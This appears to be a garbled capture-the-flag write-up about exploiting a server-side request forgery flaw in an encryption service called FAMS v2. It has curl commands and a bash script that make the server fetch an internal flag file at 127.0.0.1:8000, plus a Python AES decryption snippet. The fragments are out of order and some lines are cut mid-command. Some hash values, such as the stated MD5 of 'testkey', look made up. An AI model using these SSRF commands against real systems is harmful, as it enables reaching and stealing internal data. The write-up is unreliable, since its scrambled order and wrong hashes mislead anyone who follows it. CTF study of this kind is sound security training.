curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):
# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)
| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). | v2.fams.cc
#!/usr/bin/env python3 import sys, hashlib, binascii from Crypto.Cipher import AES
# 3️⃣ Decrypt locally (Python one‑liner) python3 - <<PY import sys, binascii from Crypto.Cipher import AES curl -s -X POST http://v2
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key)
>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this: Exploiting the SSRF The url parameter is fetched
<!doctype html> <html> <head><title>FAMS v2 – File‑and‑Message Service</title></head> <body> <h1>Welcome to FAMS v2</h1> <form action="/encrypt" method="POST"> <label>URL: <input type="text" name="url"></label><br> <label>Key: <input type="text" name="key"></label><br> <input type="submit" value="Encrypt"> </form> <p>Download your encrypted file at: <a id="dl" href=""></a></p> </body> </html> No obvious hints. The /encrypt endpoint is the only POST target. Using Burp Suite (or curl -v ), we send a dummy request: